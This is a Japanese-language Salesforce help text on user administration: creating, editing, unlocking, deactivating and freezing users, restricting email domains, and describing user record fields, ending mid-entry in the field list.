使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

ユーザを作成する
• 「内部ユーザの管理」

組織の規模または新入社員研修プロセスによっては、一度に追加するユーザが
1 人の場合があります。追加できるユーザの最大数は、Salesforce エディションに
よって異なります。
1. ユーザ追加のガイドラインを一読します。
2. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
3. [新規ユーザ] をクリックします。
4. ユーザの名前とメールアドレスを入力し、さらに一意のユーザ名をメールア

ドレス形式で入力します。デフォルトでは、ユーザ名はメールアドレスと同
じです。

重要: ユーザ名は、すべての Salesforce 組織で一意である必要がありま
す。ユーザ名は、メールアドレスの形式である必要があります
(jane@salesforce.com など)。このメールユーザ名は、機能する必要はあり
ません。アカウントに関連付けられるメールアドレスは組織間で重複し
ていてもかまいませんが、メールアドレス形式のユーザ名のみは一意に
する必要があります。

5. Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および
Developer Edition では、[ロール] を選択します。

6. [ユーザライセンス]を選択します。ユーザライセンスによって、そのユーザ
に利用可能なプロファイルが決まります。

7. ユーザの最小限権限およびアクセス設定を指定するプロファイルを選択します。
8. 自分の組織で承認が有効になっている場合は、代理承認者、管理者、および承認申請メールを受信する設

定などのユーザの承認者の設定を設定できます。
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9. [パスワードをリセットしてユーザに通知する]をクリックして、ユーザのログイン名と一時的なパスワード
が新規ユーザにメールで通知されるようにします。

関連トピック:

ユーザを追加するためのガイドライン
複数のユーザの追加
ユーザの編集
ユーザの項目
ライセンスの概要

複数のユーザの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

ユーザを作成する
• 「内部ユーザの管理」

一度に最大 10 人のユーザを組織にすばやく追加できます。Salesforce のエディショ
ンごとに、追加可能な最大ユーザ数が決まります。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. [複数のユーザを追加] をクリックします。
3. 組織で複数のユーザライセンスの種類を使用可能な場合は、作成するユーザ

に関連付けるユーザライセンスを選択します。ユーザライセンスによって使
用可能なプロファイルが決まります。

4. 各ユーザの情報を指定します。
5. ログイン名と仮のパスワードを各新規ユーザにメールで送信するには、[パス

ワードをメールで送付する] を選択します。
6. [保存] をクリックします。
7. この方法で作成したユーザの詳しい情報を指定するには、必要に応じて個々

のユーザを編集します。

関連トピック:

1 人のユーザの追加
ユーザの編集
ユーザの項目
ライセンスの概要
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ユーザの編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

ユーザを編集する
• 「内部ユーザの管理」

ユーザのプロファイル、ロール、連絡先情報など、ユーザの詳細を変更するに
は、ユーザアカウントを編集します。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ユーザ名の横にある [編集] をクリックします。
3. 必要に応じて、設定を変更します。
4. [保存] をクリックします

ヒント: この操作および他の管理タスクは、SalesforceA モバイルアプリケー
ションから実行できます。

ユーザの編集の考慮事項
ユーザを編集するときは、次の動作に注意してください。

関連トピック:

ユーザの項目
ユーザのロック解除
SalesforceA を使用したあらゆる場所からのユーザサポート

ユーザの編集の考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザを編集するときは、次の動作に注意してください。
ユーザ名

ユーザ名は、すべてのSalesforce組織で一意である必要があります。メールア
ドレスの形式 (xyz@abc.org など) を使用する必要がありますが、実際のメール
アドレスにする必要はありません。ユーザのメールアドレスが組織間で重複
してもかまいませんが、ユーザ名は一意にする必要があります。
ユーザ名を変更すると、ログインリンクを記載した確認メールがユーザアカ
ウントに関連付けられているメールアドレスに送信されます。組織に複数の
ログインサーバがある場合、ユーザ名を変更した直後にユーザがログインで
きないことがあります。変更がすべてのサーバに複製されるまでに最大 24 時
間かかる可能性があります。

メールアドレスの変更
ユーザのメールアドレスを変更したときに [パスワードをリセットしてユーザ
に通知する] が無効の場合は、入力したメールアドレスに確認のメッセージ
が送信されます。新しいメールアドレスを有効にするには、そのメッセージに記載されているリンクをク
リックする必要があります。これはシステムのセキュリティを確保するための処理です。

個人情報
ユーザは、ログイン後に各自の個人情報を変更できます。
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ユーザ共有
ユーザオブジェクトの組織の共有設定が [非公開] の場合、対象ユーザの情報にアクセスするためにはその
ユーザに対する「参照」アクセス権または「書き込み」アクセス権が必要です。

ドメイン名
ユーザのメールアドレスのドメイン名を特定のドメインのリストに制限できます。それ以外のドメインの
メールを設定しようとすると、エラーメッセージが表示されます。この機能を組織で有効にするには、
Salesforce にお問い合わせください。

関連トピック:

ユーザの編集

ユーザのロック解除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

ユーザをロック解除する
• 「内部ユーザの管理」

ユーザが誤ったログイン情報を何度も入力すると、組織からロックアウトされ
ることがあります。ユーザをロック解除して、再びアクセスできるようにしま
す。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ロックされたユーザを選択します。
3. [ロック解除] をクリックします。

このボタンは、ユーザがロックアウトされている場合にのみ表示されます。

ヒント: この操作および他の管理タスクは、SalesforceA モバイルアプリケー
ションから実行できます。

関連トピック:

ユーザの編集
パスワードポリシーの設定
SalesforceA を使用したあらゆる場所からのユーザサポート
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ユーザの無効化 (削除)

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

ユーザを無効化する
• 「内部ユーザの管理」

ユーザを削除することはできませんが、ユーザが Salesforce にログインできない
ように、アカウントを無効化できます。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ユーザ名の横にある [編集] をクリックします。
3. [有効] チェックボックスを選択解除して、[保存] をクリックします。

ヒント: この操作および他の管理タスクは、SalesforceA モバイルアプリケー
ションから実行できます。

ユーザの無効化の考慮事項
ユーザを無効化するときは、次の動作に注意してください。

関連トピック:

ユーザアカウントの凍結または凍結解除
レコードの一括移行
SalesforceA を使用したあらゆる場所からのユーザサポート

ユーザの無効化の考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザを無効化するときは、次の動作に注意してください。
ユーザライセンスおよび請求

無効化されたユーザは、組織で使用可能なユーザライセンスにカウントされ
ません。ただし、ユーザを無効にしても、組織に請求されるライセンス数は
減りません。請求対象を変更するには、組織のライセンス数を変更する必要
があります。

カスタム階層項目のユーザ
カスタム階層項目で選択されているユーザは、その項目を削除しても無効化
できません。カスタム階層項目のユーザを無効にするには、まず項目を削除
して完全に消去します。

ワークフローメールアラートの受信者
ワークフローメールアラートの唯一の受信者に割り当てられているユーザは
無効化できません。

カスタマーポータルの管理者ユーザ
カスタマーポータルの [システム管理者] として選択されたユーザは無効化できません。

レコードアクセス
無効化されたユーザは、直接共有を設定したレコード、またはチームメンバーとして共有されていたレコー
ドへのアクセス権を失います。無効になったユーザよりもロール階層が上位のユーザも、これらのレコー
ドへのアクセス権を失います。ただし、そのデータを他のユーザに移行して、[ユーザ] ページでユーザ名
を表示することはできます。
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メモ: 組織で [無効な共有の非同期削除] (パイロット) が有効になっている場合は、組織のデフォルトの
タイムゾーンに基づき、共有の直接設定およびチーム共有の削除が午後 6 時～午前 4 時のピーク時間
外に実行されます。取引先レコードの場合、共有の直接設定およびチーム共有はユーザの無効化直後
に削除されます。
無効化されたユーザは、共有レコードに直ちにアクセスできなくなります。ロール階層で上位のユー
ザは、アクセス権が非同期で削除されるまで引き続きアクセスできます。こうしたレコード表示に懸
念がある場合は、無効化する前に、無効にするユーザに付与されたレコードアクセス権を削除しま
す。

Chatter

Chatter が有効になっている組織でユーザを無効にすると、そのユーザがフォローしている人とフォローさ
れている人のリストから削除されます。ユーザを再有効化すると、フォローしている人とフォローされて
いる人のリストの登録情報が復元されます。
複数のユーザを無効にした場合は、互いにフォローし合っているユーザの登録情報が復元されません。た
とえば、ユーザ A がユーザ B をフォローし、ユーザ B がユーザ A をフォローしているとします。ユーザ A と
ユーザ B を無効にすると、相互の登録がフォローしている人とフォローされている人のリストから削除さ
れます。その後、ユーザ A とユーザ B が再有効化されても、相互の登録は復元されません。

Salesforce Files

無効化されたユーザによって所有されるファイルは削除されません。システム管理者がファイルを有効な
ユーザに再割り当てするまで、無効化されたユーザがファイルの所有者です。コンテンツライブラリで共
有されるファイルは、著者権限または削除権限を持つ、その他のライブラリメンバーによって編集される
ことがあります。共有ルールは、システム管理者が変更するまで有効です。

[作成者] 項目
ユーザが組織で無効になった場合でも、その無効なユーザを [作成者]項目にリストすることができます。
こうした状況は、ToDo を完了させるために、一部のシステム操作によってレコードが作成され、任意の管
理者ユーザとしての役割を果たす設定に切り替えられるために発生する可能性があります。このユーザは
有効でも無効でもかまいません。

無効化されたユーザが所有する取引先および商談
無効なユーザが所有する取引先、商談、およびカスタムオブジェクトレコードを作成および編集できます。
たとえば、無効なユーザが所有する商談レコードの [取引先名]項目を編集できます。この機能を有効にす
るには、Salesforce にお問い合わせください。

テリトリーおよび予測
無効になったユーザも商談を所有したままにし、売上予測とテリトリーで集計表示できます。ユーザが無
効化されると、そのユーザの商談からの売上予測の上書き、売上予測レベルでの売上予測の上書き、およ
びマネージャによる直属部下の売上予測の上書きがロックされます。ただし、無効化されたユーザのマネー
ジャは、直属部下の売上予測の上書きが可能です。集計金額は現在のままになります。無効化されたユー
ザが後に再有効化されると、そのユーザは以前と同様の処理を再開できます。無効になったユーザの「売
上予測を許可」が無効の場合、ユーザは、割り当てられているテリトリーから削除されます。

商談および取引先チーム
無効化されたユーザは、他のユーザのデフォルトの商談チームおよび取引先チームから削除されます。無
効になったユーザのデフォルトの商談チームおよび取引先チームは削除されません。
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取引先チーム
取引先チームのユーザに「参照・更新」アクセス (取引先アクセス、取引先責任者アクセス、商談アクセ
ス、およびケースアクセス) があり、そのユーザが無効になっている場合、ユーザが再度有効になると、ア
クセスは「参照のみ」になります。

商談チーム
商談分割が有効になっている組織でユーザを無効にする場合、分割率が割り当てられている商談チームか
らはユーザが削除されません。商談チームからユーザを削除するには、まず分割率を再割り当てします。

外部ユーザの代理管理者
外部ユーザの代理管理者がポータルユーザを非アクティブ化した場合、システム管理者はそのユーザが所
属するチームからポータルユーザを削除することはできません。

関連トピック:

ユーザの無効化 (削除)

ユーザアカウントの凍結または凍結解除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

ユーザアカウントを凍結
または凍結解除する
• 「ユーザの管理」

場合によっては、アカウントをすぐに無効にできないことがあります (ユーザが
カスタム階層項目で選択されている場合など)。システム管理者が無効化の手続
きをしている間にユーザが組織にログインしないように、ユーザアカウントを
凍結できます。
ユーザが退職したとします。そのアカウントを無効化しようとしますが、その
ユーザはカスタム階層項目で選択されています。アカウントをすぐに無効にで
きない場合、当面の間凍結することができます。

ヒント: この操作および他の管理タスクは、SalesforceA モバイルアプリケー
ションから実行できます。

1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選
択します。

2. 凍結するアカウントのユーザ名をクリックします。
3. [凍結]をクリックしてアカウントへのアクセスをブロックするか、[凍結解除]

をクリックしてアカウントへのアクセスを再度許可します。

メモ: ユーザアカウントを凍結しただけでは、そのユーザライセンスを組
織で使用できるようになりません。ユーザライセンスを使用可能にするに
は、アカウントを無効にします。

関連トピック:

ユーザの無効化 (削除)

ログイン問題のトラブルシューティング
SalesforceA を使用したあらゆる場所からのユーザサポート
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ユーザメールドメインの制限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
すべてのエディション

ユーザ権限

ユーザのメールドメイン
を制限する
• 「ユーザの管理」

ユーザの [メール]項目で許可されるメールドメインを制限するホワイトリスト
を定義できます。
1. [設定] から、[クイック検索] ボックスに「許可メールドメイン」と入力し、

[許可メールドメイン] を選択します。

メモ: このページが表示されない場合は、Salesforce の担当者に連絡して
ページを有効にしてください。

2. [新規許可メールドメイン] をクリックします。
3. [ドメイン] を入力します。

sampledoc.orgなどの最上位のドメインも、emea.sampledoc.orgなどの
サブドメインも入力できます。

4. [保存] をクリックします。
別のメールドメインをホワイトリストに追加する場合は、この手順を繰り返し
ます。
ホワイトリストにメールドメインを 1 つ以上追加した場合は、新しい各ユーザの [メール] 項目がホワイトリ
ストに登録されたドメインと一致する必要があります。
既存のユーザの [メール] 項目は、ホワイトリストに従う必要はありません。ただし、既存のユーザを編集す
る場合は、[メール] 項目を更新してホワイトリストに登録されたメールドメインと一致させます。

メモ: メールドメインホワイトリストは、ポータル、コミュニティ、または Chatter 外部ユーザなど、組織
外のユーザには適用されません。

関連トピック:

1 人のユーザの追加
複数のユーザの追加
ユーザの編集

ユーザの項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能な項目は、使用
している Salesforce のエ
ディションによって異な
ります。

[個人情報] ページや他の個人設定ページを構成する項目では、ユーザについて説
明します。
項目の表示は、特定のページ、組織の権限、所有しているエディションによっ
て異なります。

説明項目

オンの場合、目の不自由なユーザのた
めに設計されたユーザインターフェー
スモードを有効にします。

アクセシビリティモード
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説明項目

サービスへのユーザログインを有効または無効にする
管理チェックボックス。

有効

ユーザの町名・番地。この項目は最大 255 文字まで入
力できます。

町名・番地

名前全体が納まらないリストページ、レポート、その
他のページでユーザを識別するための短縮名。この項
目は最大 8 文字まで入力できます。

別名

ユーザがカスタマイザブル売上予測を使用できるかど
うかを示します。

売上予測を許可

API トークンがリセットされたかどうかを示します。
Salesforceはこの項目を使用して、問題が発生した場合

API トークン

に API トークンが関連する問題のトラブルシューティ
ングに役立てます。

接続されている場合、ユーザは Google Authenticator な
ど、Salesforce Authenticator 以外の認証アプリケーショ

アプリケーション登録: ワンタイムパスワードジェネ
レータ

ンからのコードを使用して ID を検証できます。たと
えば、ユーザが会社が信頼する IP 範囲外のIP アドレス
からログインするときにアプリケーションからコード
を入力します。この種別の確認コードは、「時間ベー
スのワンタイムパスワード」(TOTP) と呼ばれることも
あります。
「ユーザインターフェースログインの 2 要素認証」権
限があるユーザは、ユーザインターフェースから
Salesforceにログインするときに認証の第 2 要素を使用
する必要があります。認証アプリケーションによって
生成される現在の確認コードは第 2 要素とみなされま
す。
ユーザに「API へのログインの 2 要素認証」権限があ
り、認証アプリケーションに接続している場合、ユー
ザはサービスにアクセスするためにアプリケーション
から現在のコードを入力します。ユーザは標準のセ
キュリティトークンを入力しません。

接続されている場合、ユーザは Salesforce Authenticator

モバイルアプリケーションのバージョン 2 以降でプッ
アプリケーション登録: Salesforce Authenticator

シュ通知に応答することによって ID を検証できます。
たとえば、ユーザが会社が信頼する IP ネットワーク外
のIP アドレスからログインするときに通知を承認しま
す。ユーザがアプリケーションで信頼できる場所を設
定し、ロケーションベースの自動検証を使用する許可
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説明項目

を受けていると、Salesforce Authenticator はその信頼で
きる場所からのユーザの ID を自動的に検証できます。
ユーザは、Salesforce Authenticator および別の認証アプ
リケーションを両方とも同じSalesforceアカウントに接
続できます。
接続されている場合、ユーザは Salesforce Authenticator

からのコードを使用して ID を検証することもできま
す。たとえば、ユーザが会社が信頼する IP ネットワー
ク外の IP アドレスからログインするときにアプリケー
ションからコードを入力します。この種別の確認コー
ドは、「時間ベースのワンタイムパスワード」(TOTP)

と呼ばれることもあります。
「ユーザインターフェースログインの 2 要素認証」権
限があるユーザは、ユーザインターフェースから
Salesforceにログインするときに認証の第 2 要素を使用
する必要があります。Salesforce Authenticator からの通
知への手動または自動での応答は第 2 要素とみなされ
ます。
ユーザに「API へのログインの 2 要素認証」権限があ
り、Salesforce Authenticator に接続している場合、ユー
ザはサービスにアクセスするためにアプリケーション
から現在のコードを入力します。ユーザは標準のセ
キュリティトークンを入力しません。

このユーザが割り当てられているコールセンターの名
前。

コールセンター

ユーザの Checkout アカウントが有効になり、ログイン
可能になったときに、メールで通知するかどうかを示
します。
このオプションを有効にするには、「請求情報の管
理」権限が必要です。

チェックアウトの有効化

ユーザの住所の市区郡部分。この項目は最大 40 文字
まで入力できます。

市区郡

グラフの代替カラーパレットを設定するオプションを
有効にするかどうかを示します。代替パレットは色覚

グラフの色覚障害者用パレット

障害者用に最適化されています。ダッシュボードの
メールの場合、代替パレットは使用されません。

ユーザの勤務先会社名。この項目は最大 40 文字まで
入力できます。

会社
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説明項目

ユーザがパートナーユーザの場合、関連付けられてい
る取引先責任者名。

取引先責任者

ユーザの住所の国部分。エントリは標準値の選択リス
トから選択するか、テキストとして入力します。テキ
スト項目の場合、最大 80 文字まで入力できます。

国

このユーザを作成したユーザ、作成日時も含む。(参
照のみ)

作成者

目標、売上予測、およびレポートでのユーザのデフォ
ルト通貨。マルチ通貨を使用する組織でのみ表示され

通貨

ます。この通貨は、組織で有効な通貨の 1 つである必
要があります。

システム管理者が設定したユーザのカスタムリンクの
リスト。

カスタムリンク

取引先責任者とリードのレコードを Data.com を検索
し、Salesforceに追加するために、ユーザを有効にしま

Data.com ユーザ種別

す。また、Data.comユーザの種別も示します。Data.com

ユーザは 1 か月あたりに追加またはエクスポートでき
る取引先、取引先責任者、リードのレコード数に制限
があります。また、使用されなかった追加分は各月の
月末で期限切れになります。Data.comリストユーザは
1 か月あたりに追加またはエクスポートできる取引
先、取引先責任者、リードのレコード数を制限されて
います。また、使用されなかった追加分は各月の月末
で期限切れになります。リストユーザは、1 か月あた
りの制限を使用した後に、組織内のすべてのリスト
ユーザが共有するプールから引き出してレコードを追
加できます。未使用のプール追加は、購入から 1 年で
有効期限が切れます。

新しいレコードに対するユーザのデフォルト通貨設
定。マルチ通貨を使用する組織でのみ表示されます。

デフォルトの通貨 ISO コード

明示的に別のディビジョンを設定した場合を除き、そ
のユーザが新たに作成するすべての取引先、および

デフォルトのディビジョン

リードにデフォルトで適用されるディビジョン。取引
先またはすでにディビジョンを持つその他のレコード
に関連付けられたレコードを作成する場合、新しいレ
コードは既存のレコードのディビジョンに割り当てら
れます。デフォルトのディビジョンは使用されませ
ん。
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説明項目

この設定でも、ユーザが他のディビジョンのレコード
を参照または作成することを制限しません。ユーザ
は、所属ディビジョンを設定してデフォルトのディビ
ジョンを随時上書きできます。
ディビジョンを使用してデータを分割している組織で
のみ利用可能です。

承認申請のための代理承認者の選択に使用するユーザ
参照項目。承認プロセスの設定に応じて、このユーザ

代理承認者

はそのユーザに対する承認申請を承認することもでき
ます。

そのユーザが勤務するグループ。たとえば、カスタ
マーサポートなど。この項目は最大 80 文字まで入力
できます。

部署

Visualforce ページの作成および編集のための開発モー
ドを有効にします。
この項目は、Visualforce が有効になっている組織にの
み表示されます。

開発モード

ユーザが所有するレコードへの自動フィード登録を無
効にします。Chatter が有効な組織でのみ使用できま
す。

フィードの自動登録を無効にする

ユーザが所属する会社の部門。たとえば、PC 営業グ
ループなど。この項目は最大 40 文字まで入力できま
す。

ディビジョン

ユーザのメールアドレス。有効な形式のメールアドレ
ス (jsato@acme.com など) になっていることが必要です。
この項目は最大 80 文字まで入力できます。

メール

Salesforce の内部からユーザが送信するメールの文字
セットと文字コード。英語を使用するユーザは、すべ

メールの文字コード

てのラテン文字を表す ISO-8859-1 を使用します。
UTF-8  (Unicode) はすべての言語の文字を表しますが、
古いメールソフトウェアの中にはこのコードをサポー
トしていないものがあります。Shift_JIS、EUC-JP

および ISO-2022-JP は日本語ユーザに便利です。

ユーザの識別番号。従業員番号

一般にユーザが仕事を終える時間。ユーザのカレン
ダーに表示する時間帯の定義に使用されます。

終業時間
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説明項目

ユーザの FAX 番号。Fax

統合認証シングルサインオンでユーザ識別に使用する
値。

統合 ID

ユーザ編集ページに表示されるユーザの名。この項目
は最大 40 文字まで入力できます。

名

フローを実行できる機能を提供します。Developer Edition

(制限付き)、Enterprise Edition、Unlimited Edition、および
Performance Edition で使用できます。
このオプションを有効にするには、「Force.com Flow の
管理」権限が必要です。

Force.com Flow ユーザ

ユーザに「フローを実行」権限がある場合は、この項
目を有効にしないでください。

Force.comクイックアクセスメニューを有効にします。
このメニューは、オブジェクトリストビューページと

Force.com クイックアクセスメニュー

レコード詳細ページに表示されます。メニューには、
アプリケーションとオブジェクトのカスタマイズ機能
へのショートカットがあります。

ユーザレコード内のすべての通貨金額項目で使用する
デフォルト通貨。マルチ通貨を使用する組織でのみ表
示されます。

通貨情報

Salesforce ナレッジへのアクセス権を付与します。ユー
ザのプロファイルにより、ユーザが [記事の管理] タブ

ナレッジユーザ

または [記事] タブにアクセスできるかが決まります。
Professional Edition、Enterprise Edition、Unlimited Edition、お
よび Performance Edition で使用できます。

ユーザの主言語。すべてのテキストとオンラインヘル
プはこの言語で表示されます。Professional Edition、

言語

Enterprise Edition、Unlimited Edition、および Performance

Edition の組織では、ユーザ個人の [言語] 設定が組織
の [言語のデフォルト値] を上書きします。
Personal Edition、Contact Manager Edition、Group Edition™ で
は利用できません。組織の [言語] は、すべてのユー
ザに適用されます。

ユーザが正常に最後にログインした日時。この値は、
ユーザの最後のログインから 60 秒が経過すると更新
されます。(参照のみ)

最終ログイン
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ユーザ編集ページに表示されるユーザの姓。この項目
は最大 80 文字まで入力できます。

姓

このユーザの前回のパスワードの変更またはリセット
日時。この参照のみの項目は、「ユーザの管理」権限
を持っているユーザにのみ表示されます。

前回のパスワードの変更またはリセット

パスワードを使用しないログインでは、ユーザは
Lightning Login を登録して使用できます。[登録] オプ

Lightning Login

ションがあるということは、Salesforceシステム管理者
が、登録するオプションをユーザに与えたということ
です。[キャンセル]オプションがあるということは、
ユーザは登録しており、必要に応じて登録をキャンセ
ルできるということです。

ユーザの居場所を示す国または地域。
[ロケール]の設定は、日付、日付/時間、数字、およ
びカレンダーの項目に影響します。たとえば、2000 年

地域

6 月 30 日は、「英語 (アメリカ)」ロケールのユーザに
は 06/30/2000 と表示され、「英語 (イギリス)」ロケー
ルのユーザには、30/06/2000 と表示されます。時間に
ついては、「英語 (アメリカ)」ロケールでは、AM と
PM を使用する 12 時間表示 (2:00 PM など) であるのに対
し、「英語 (イギリス)」ロケールでは、24 時間表示
(14:00 など) になります。
[地域]の設定は、[名前] 項目で、ユーザ、リード、
および取引先責任者の姓と名が表示される順番にも影
響します。たとえば、「英語 (アメリカ)」地域では、
Bob Johnson が「Bob Johnson」と表示されるのに対し、
「中国語 (中国)」地域では、「Johnson Bob」と表示さ
れます。
Personal Edition ユーザの場合、ロケールは組織レベルで
設定されます ([設定] から、[クイック検索] ボックス
に「組織情報」と入力し、[組織情報]を選択)。他のす
べてのユーザは、個人情報ページで個人のロケールを
設定して、組織の設定を上書きできます。

このオプションが有効である場合、ユーザがログイン
すると [設定] ページに移動します。

設定画面をデフォルトページに設定

ユーザのマネージャの選択に使用する参照項目。この
項目は次のとおりです。

マネージャ

• 階層関係を設定し、直接または間接的な報告先が
自分自身であるユーザを選択しないようにします。
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• Chatterで、組織のレポート構造に基づいてフォロー
するユーザとレコードを推奨できるようにします。

この項目は、他の階層項目を作成することなく階層的
なワークフロールールと承認プロセスを作成する場合
に、特に便利です。

メモ: 他の階層項目とは異なり、[マネージャ]

項目で参照されるユーザを無効にすることがで
きます。

有効にすると、ユーザは、キャンペーンの作成、編
集、および削除、高度なキャンペーンの設定、および

マーケティングユーザ

データインポートウィザードによるキャンペーンメン
バーの追加とその状況の更新を行えます。Professional

Edition、Enterprise Edition、Unlimited Edition、および
Performance Edition で使用できます。
このオプションが選択されていない場合、ユーザは、
キャンペーンと高度なキャンペーン設定の参照、単一
のリードまたは取引先責任者のキャンペーン履歴の編
集、およびキャンペーンレポートの実行のみを行えま
す。

ユーザ編集ページに表示されるユーザのミドルネー
ム。この項目は最大 40 文字まで入力できます。

ミドルネーム

メモ: この項目を有効化するには、Salesforceカス
タマーサポートにお問い合わせください。次に、
[設定] から、[クイック検索] ボックスに「ユー
ザインターフェース」と入力し、[ユーザインター
フェース] を選択します。その後で、[個人名の
名前サフィックスを有効化] を選択します。

携帯電話番号。この項目は最大 40 文字まで入力でき
ます。
この番号は SMS ベースの ID 確認に使用されます。シ
ステム管理者は、[設定] から、[クイック検索]ボック

携帯

スに「セッションの設定」と入力し、[セッションの設
定] を選択して、[SMS による ID 確認を有効にする] オ
プションを選択し、SMS ベースの ID 確認を有効にしま
す。
SMS による ID 確認が有効になると、プロファイルに確
認済みの携帯番号がないユーザは、ログイン後に携帯
番号を登録して確認するよう求められます。このプロ
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セスは、携帯番号のないユーザに適用されます。ユー
ザは次のいずれかのアクションを実行できます。
• 携帯電話の番号を入力して、確認コードを含むテ

キストメッセージで携帯番号を確認してもらう。
• この時点では携帯番号の入力を行わず、次回のロ

グイン時に再度確認されるようにする。
• 携帯番号を確認しない。このアクションを選択し

たユーザは、個人情報で携帯番号を後から登録で
きます。Chatter Free および Chatter External のライセ
ンスユーザがこのアクションを選択した場合は、
システム管理者が携帯番号を設定する必要があり
ます。

ユーザの携帯電話番号を検証後、Salesforceは、必要に
応じてその番号を使用し、ユーザを認証します。たと
えば、ユーザが不明な IP アドレスからログインしたと
きなどに検証が行われます。
また、システム管理者がユーザの携帯番号を入力し
て、事前に確認することもできます。システム管理者
がユーザの携帯電話番号を入力したときに [SMS によ
る ID 確認を有効にする]が有効になっている場合、ま
たは、User オブジェクトを使用して API から携帯番
号が設定されている場合は、携帯番号は確認済みであ
るとみなされます。[SMS による ID 確認を有効にする]

が有効になっていない場合、新しい携帯電話番号は検
証済みとみなされません。

ユーザに割り当てられたモバイル設定。モバイル設定
を指定しないと、そのユーザプロファイルに割り当て

モバイル設定

られたモバイル設定がこの項目のデフォルトになりま
す。
この項目は、Salesforceを使用してモバイル設定を管理
する組織に表示されます。

ユーザに Salesforce Classic Mobile ライセンスを 1 つ割り
当てて、Salesforce Classic Mobile アプリケーションへの

モバイルユーザ

アクセスを許可します。このチェックボックスがオン
になっているユーザレコード数は、組織が持つモバイ
ルライセンスの合計数を超えることはできません。
Professional Edition、Enterprise Edition、Unlimited Edition、お
よび Performance Edition で使用できます。
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Unlimited Edition、Performance Edition、および Developer

Edition ユーザの場合、[モバイルユーザ] オプションは
デフォルトで有効になっています。モバイルをリリー
スする準備が整うまで、ユーザがモバイルデバイスで
Salesforce Classic Mobile アプリケーションを有効にでき
ないようにするには、すべてのユーザに対してこのオ
プションを無効にします。
ユーザがすでに Salesforce Classic Mobile アカウントを有
効にしている場合は、[モバイルユーザ]オプションを
選択解除すると、ユーザのモバイルライセンスが取り
消されます。次回ユーザのデバイスをSalesforceと同期
するときに、デバイスからすべてのSalesforceデータが
削除され、デバイスがユーザに関連付けられなくなり
ます。

ユーザ項目を最後に変更したユーザ。変更日時も含
む。(参照のみ)

更新者

ユーザの [Data.com ユーザ種別]が Data.com ユーザ
である場合の、1 か月あたりにユーザが追加できる
Data.com の取引先責任者とリードのレコード数。
ライセンスあたりのレコードのデフォルト件数は 300

件ですが、組織の制限内でこれより多くまたは少ない
件数を割り当てることもできます。

1 か月あたりの取引先担当者数とリード数の制限

ユーザ詳細ページに表示されるユーザの名、ミドル
ネーム (ベータ)、姓、肩書き (ベータ) を合わせたも
の。

名前

コミュニティでこのユーザの識別に使用する名前。40

文字までの英数字が有効です。標準ユーザは、この項
目を編集できます。

ニックネーム

ユーザに Connect Offline へのアクセス権を与える管理
チェックボックス。Professional Edition、Enterprise Edition、

オフラインユーザ

Unlimited Edition、および Performance Edition で使用でき
ます。

パートナーポータルユーザがスーパーユーザであるか
どうかを示します。

パートナースーパーユーザ

ユーザの電話番号。この項目は最大 40 文字まで入力
できます。

電話
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アプリケーション内でユーザがさまざまな機能を実行
するための、ユーザの基本レベルの権限を指定する管

プロファイル

理項目。権限セットを使用して追加の権限をユーザに
付与できます。

承認申請メールを受信するための設定。
この設定は、Salesforce1 または Lightning Experience の承
認申請通知をユーザが受信するかどうかにも影響しま
す。

承認申請メールを受信

[Salesforce CRM Content ユーザ] ライセンスを
持ち、Salesforce CRM Content を登録しているポータル

Salesforce CRM Content デイリーダイジェストを
受信

ユーザ以外が、登録しているコンテンツ、ライブラ
リ、タグ、または著者について活動が発生した場合
に、1 日 1 回メールで概要を受信することを指定しま
す。メールを受信するには、[Salesforce CRM

Content のメールアラートの受信]オプションも選択
する必要があります。ポータルユーザの場合は、
[Salesforce CRM Content ユーザ] ライセンスは
必要ありません。[ポータルのコンテンツの参照]ユー
ザ権限のみが必要です。

[Salesforce CRM Content ユーザ] ライセンスを
持ち、Salesforce CRM Content を登録しているポータル

Salesforce CRM Content のメールアラートを受信

ユーザ以外が、登録しているコンテンツ、ライブラ
リ、タグ、または著者について活動が発生した場合
に、メール通知を受信することを指定します。リアル
タイムでメールアラートを受信するには、このオプ
ションを選択します。[Salesforce CRM Content

の毎日のダイジェストを受信] オプションは選択しな
いでください。ポータルユーザの場合は、
